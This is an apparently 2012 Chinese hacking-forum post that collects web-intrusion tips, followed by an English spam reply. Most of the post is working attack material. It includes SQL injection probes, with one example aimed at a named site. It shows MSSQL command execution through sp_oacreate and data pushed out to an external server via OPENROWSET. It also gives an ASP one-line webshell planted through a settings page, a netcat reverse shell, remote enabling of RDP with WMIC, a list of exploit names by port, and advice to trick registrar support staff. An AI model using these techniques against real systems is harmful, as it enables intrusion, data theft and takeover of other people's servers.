找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3803|回复: 1
打印 上一主题 下一主题

站库分离的方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:41:29 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
SA点数据库分离技术相关
% l2 t. Y# b; X1 c5 @
8 @1 m  K' i) e$ ]% E) J
7 J& [4 h) g/ r3 ZSA点数据库分离搞法+语句:3 R0 _* p: ?2 p8 E
9 v8 E$ x/ A- y8 u% ]9 g! H
注射点不显错,执行下面三条语句页面都返回正常。
$ H5 Q5 ?' u) j$ _& }; S+ Aand 1=(select count(*) FROM master.dbo.sysobjects where name= 'xp_regread')
) a& ^- s' {" i' Uand 1=(select count(*) FROM master.dbo.sysobjects where name= 'sp_makewebtask')
5 h' c0 }* a2 ~and 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')2 y: N1 k# ^$ g
可以列目录,判断系统为2000,web与数据库分离) A' P0 E) W( P% `# S& V
遇到这种情况首先要想办法得到数据库IP来进行下一步得渗透了。5 r! y* }# R( e: C* U5 w
在注射点上执行
6 n4 ?4 |, U( l6 B4 ddeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd /c net user ';--
) m. |: c8 z5 J& h, v% ~7 T页面返回正常,通过上面这个命令执行telnet我一个外网肉鸡得1433端口,然后netstat/an没有得到IP* v) X& b- U1 J! m  o
还有我用NC监听得其他端口都没有得到IP。
. J  O  A, P6 C3 D4 W5 c3 Y. c8 X( e5 J$ _2 f4 w( s; u
通过注射点执行下面这两个命令页面都返回异常,在肉鸡上面同样也是没有得到IP。$ d( N6 e; |: ^- H
'insert into opendatasource('sqloledb','server=xxx.xxx.xxx.xxx;uid=sasa;pwd=sasa;database=tempdb').tempdb.dbo.temp select name from master.dbo.sysdatabases--. P; m0 T+ N4 Z, K3 e
" F) V. U  x2 }6 D4 g+ R& \% g
;insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=pass;Network=DBMSSOCN;Address=xxx.xxx.xxx.xxx,1433;', 'select * from dest_table') select * from src_table;--
. z0 X: ]- k- |* _1 e' u
, L8 c/ H' S% e" {现在就猜想是不是数据库是内网而且不能连外网。
) z+ g  u4 y; l* _9 E, \* Z/ N1 Y1 A6 {
9 R% s1 }7 j# M
access导出txt文本代码
4 H# I2 K' A4 q+ o) A* zSELECT * into [test.txt] in 'd:\web\' 'text;' from admin
! G" S5 P2 t8 f4 N& c$ o$ z
1 Y+ `" E+ X1 t* c, g. S  s
/ k4 w# p" ?& p4 f1 e2 E- `, _- k/ X8 o
自动跳转到指定网站代码头
5 w( R4 e2 @5 s! r<body onload='vbscript:document.links(0).href="http://www.google.com":document.links(0).innerHTML="www.sohu.com"'>$ A' c( _* t+ i8 ]  R' e5 Y& H+ l+ U

( m0 Y5 T* A' z/ q3 @# F  l* g: j. z; k. V
入侵java or jsp站点时默认配置文件路径:  _1 {- @: @% L/ w& y! m- m
\web-inf\web.xml4 D/ ~& C# r% k& R& g
tomcat下的配置文件位置:
" J. D1 N* M  \! c+ h+ ~5 I\conf\server.xml            (前面加上tomcat路径)
" ?4 m: W4 p- l6 j\Tomcat 5.0\webapps\root\web-inf\struts-config.xml
. B9 X. |/ U/ R: [; b- d: V
' c0 J3 R4 h) _# v/ _5 q7 p
2 r# u6 k$ d3 X8 C1 \! P  p3 f* u% P1 ^3 j# g
检测注入点新方法运算符法,在过滤了and or cookies时用比有效果:
0 X. R) j& d* E) V% j6 l- _- z1 Q-1%23( E0 M% O- f5 K
> 4 {7 J- k% |8 u- i# r7 G# q
<
, v3 a* u6 \) T* U4 V1'+or+'1'='13 K% `+ w5 ]7 k1 l6 a6 Z1 I, H
id=8%bf
- M( D2 x( p! E+ A0 Z7 l* f; \" a. S5 ?) K0 t4 i- |, B, S/ c& q% p
全新注入点检测试法:6 Q4 F" U# u+ S. z% B. \
在URL地址后面加上-1,URL变成:http://gzkb.goomoo.cn/news.asp?id=123-1,如果返回的页面和前面不同,是另一则新闻,则表示有注入漏洞,是数字型的注入漏洞;在 URL地址后面加上 -0,URL变成 http://gzkb.goomoo.cn/news.asp?id=123-0,返回的页面和前面的页面相同,加上-1,返回错误页面,则也表示存在注入漏洞,是数字型的。. A) w# _5 n4 ]- T3 g0 S

+ M  G: L$ S/ T* ]& Q在URL的地址后面加上'%2B',URL地址变为:http://gzkb.goomoo.cn/news.asp?id=123'%2B',返回的页面和1同;加上'2%2B'asdf,URL地址变为:http://gzkb.goomoo.cn/news.asp?id=123'%2Basdf,返回的页面和1不同,或者说未发现该条记录,或者错误,则表示存在注入点,是文本型的。; g3 h8 F, [8 _* h4 f9 H
" `7 x; a6 Y- P. t% D: i; K
搜索型注入判断方法:
1 C! H% O3 g6 _+ _% o( @% D+ }1 E& p北京%' and '1'='1' and '%'='
# d. @- T2 V6 l" c+ ]" ^北京%' and '1'='2' and '%'='
+ Y2 ^1 K2 [$ l  ^
' L6 U7 r+ Q8 A; i  M+ p
) p5 R" m0 f+ c/ ZCOOKIES注入:* N. g6 P; g( @
) C; X2 m0 N) [, R. {
javascript:alert(document.cookie="id="+escape("51 and 1=1"));1 e: p/ n* U. L- K' o" T5 }

# Q. _3 L9 W. v$ [. e" N( ^5 k6 y  D% [2000专业版查看本地登录用户命令:7 b0 k4 q- W& K# _; _6 `( R. P2 i
net config workstation3 p9 s& I* ]) P( C' G7 U- N) o# X

/ H1 |2 [' W4 g, I) b3 x
6 i1 M# x/ z; }. M2003下查看ipsec配置和默认防火墙配置命令:
8 d# g0 H0 k# Xnetsh firewall show config
$ T6 w+ N6 t' Inetsh ipsec static show all9 }/ _( O3 {+ R8 o0 w
' U! l% e* X9 |9 Q8 k* Y
不指派指定策略命令:
0 b& t' {4 R! G& wnetsh ipsec static set policy name=test assign=n  (test是不指派的策略名)/ x* R: c3 n, F6 `
netsh ipsec static show policy all  显示策略名
; c+ o7 E, ?' g( }2 h+ N9 R% r5 K5 J  O# z
( A3 _7 X$ A$ F/ v# y
猜管理员后台小技巧:
  I+ E' z/ D1 A& e: h1 P) _admin/left.asp : u0 F' L# s& e
admin/main.asp
, q& |2 Z7 M- Kadmin/top.asp
, a) |: B& Y9 cadmin/admin.asp 1 l! e) Y9 l7 h3 x# K  a, m0 ^
会现出菜单导航,然后迅雷下载全部链接: k. {, J* {5 N% l! o4 @
+ w& ]8 z/ O! \

1 x. }1 j* k) [3 x9 c, F8 ?社会工程学:/ j7 g- ?2 b2 H# J  k
用这个查信息 http://tool.chinaz.com/ Whois查域名注册人和维护人
6 j7 T( D. \: U+ y& r* D然后去骗客服  k% x  {2 E$ {' Z2 P
2 c- \- r9 |, n' m5 A
" S4 R' X- W2 [1 ]+ j
统计系统使用的是IT学习者的统计系统,在网上下载了一套回来研究。这样的系统拿webshell一般就二种:1.数据库插一句话木马,客户端连接得到。2.网站配置页面写入木马代码拿webshell。打开数据库目录,发现数据库扩展名是asp的,默认路径:data/#ITlearner.asp,把数据库扩展名改成*.mdb,用明小子的数据库工具打开,发现有防下载的表。管理员的默认密码是:ITlearner。数据库插一句话木马这条路是走不通了,现在只有看第二种方法看行不。输入默认密码进入 http://www.cnc-XX.com/admin/cutecounter /admin.asp?action=ShowConfig,查看原代码:
4 ?) c4 I+ J+ N' Z' u7 [查找 修改maxlength="3"为maxlength="100">这里是为了突破固定长度的字符输入。然后查找 处 修改为action="http://www.cnc-XX.com/admin/cutecounter/admin?Action=SaveConfig">,
" I, L* ]$ \: \* d+ W: A  存为html文件打开后在最后详细来访信息记录多少条记录,默认为100条框输入100:eval request(chr(35)),点击保存。提示无法找到,结果发现。
3 d2 x0 @$ X, C; O0 \: b( ]  E! l$ `
4 W6 |! K! ^) s  k% c/ `2 ]

1 F- s! z  T0 \& |- ~7 K6. 554端口 用real554.exe入侵。 6129端口 用dameware6129.exe入侵。 系统漏洞 利用135、445端口,用ms03026、ms03039、ms03049、ms04011漏洞, 进行溢出入侵。 3127等端口 可以利用doom病毒开的端口,用nodoom.exe入侵。(可用mydoomscan.exe查)# Y( Y, [; k1 C7 I0 X, B
( a8 v6 y2 E6 M& ^3 q4 D

$ f% r4 P! a  ~+ R' \% {1 Y* X, |: x2 L5 R1 P$ I2 `
CMD加密注册表位置
; u1 I" _% f( G& _: N! }(1)HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor: X! {, A7 U* [. H# j
AutoRun0 }8 t4 j- \6 }" [
' f/ l' b, ^. \$ B
(2)HKEY_CURRENT_USER\Software\Microsoft\Command Processor! j4 k: s# k  S( d( L0 R4 e$ x
AutoRun$ L# u5 \0 W9 f8 J  D( `
2 y5 m5 }4 K- O

# w2 \7 `8 q" L# {0 `在找注入时搜索Hidden,把他改成test
2 p% ]! l1 U: x* K- R% d4 E8 e& J# }/ L4 P! J

# P6 C  y; ^! b( z9 Z9 m" }$ M4 i. b5 K1 A2 x/ [. g, B
mstsc /v:IP /console
! N3 G, z1 B9 m
: G% Q' T# z7 W0 P0 R. U" q, b* R& l2 |/ j. F3 i* ^
一句话开3389:, T& t* z7 ^2 ?& b

& m& c  Z+ @" ?5 g最近我在网上看到新出了一种方法,一句话开3389,不过好像听说只能用于2003系统,唉,还是写出来和大家分享一下吧.很简单的,wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 adh=Kp e!w 8 kw`=wSH>  , k. W# W9 y/ T* ^& p6 a7 o0 q
开远程:WMIC /node:"远程机器名" /user:"administrator" /password:"lcx" RDTOGGLE WHERE ServerName='远程机器名' call SetAllowTSConnections 1          就是这样了,其实还有其他的一些方法开2003的3389,我这里也不多作介绍了,大家有空上网一查就知道了.
' Z8 O/ M! \# ?
0 x7 }3 {* `$ f. `8 p
9 `" B' Q" k# P知道表名,字段,使用SQL语句在ACCESS数据库中加个用户名及密码语句如下:1 U' z: }8 o+ {. F+ o& e! A7 \
Insert into admin(user,pwd) values('test','test')
" ]/ U0 U# z+ C% t" n) ?3 V& E, G7 R* J2 T8 a* F
5 n6 W( ^' C' Z% C3 j
NC反弹
# N! w; k8 X+ B6 h9 Y. W0 q; T先在本机执行:     nc -vv -lp 监听的端口     (自己执行)   1 p+ H5 x0 x# {8 J5 K
然后在服务器上执行:  nc -e cmd.exe 自己的IP 和监听的端口 (对方执行)0 b; E, s, A% [; Z, }. M1 f8 E6 X# A

4 F: k1 k( }6 K9 S. O7 r: d; [( e+ R7 \- j, x) [
在脚本入侵过程中要经常常试用%00来确认下参数是否有问题
( c0 I6 q( x( e& W& T; c6 }  ^8 p, B4 x3 M
有时候我们入侵的时候,在webshell没有办法列举网站的目录包括dir也不行的时候,这个时候可以尝试用DOS命令SUBST转移目录
/ {. C6 l9 {0 G- _6 E% t例如:* x0 a7 o. \. v0 X4 s" O( O9 W$ L& X
subst k: d:\www\ 用d盘www目录替代k盘
" D; y1 T5 A- Fsubst k: /d  解除K盘代替
回复

使用道具 举报

沙发
匿名  发表于 2017-12-20 02:36:51
We are a group of volunteers and starting a new scheme in our community.
Your web site offered us with valuable information to work on. You've done a formidable job and our entire community will
be grateful to you.
Website: Antispur Duo Forte proprieta
回复 支持 反对

使用道具

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表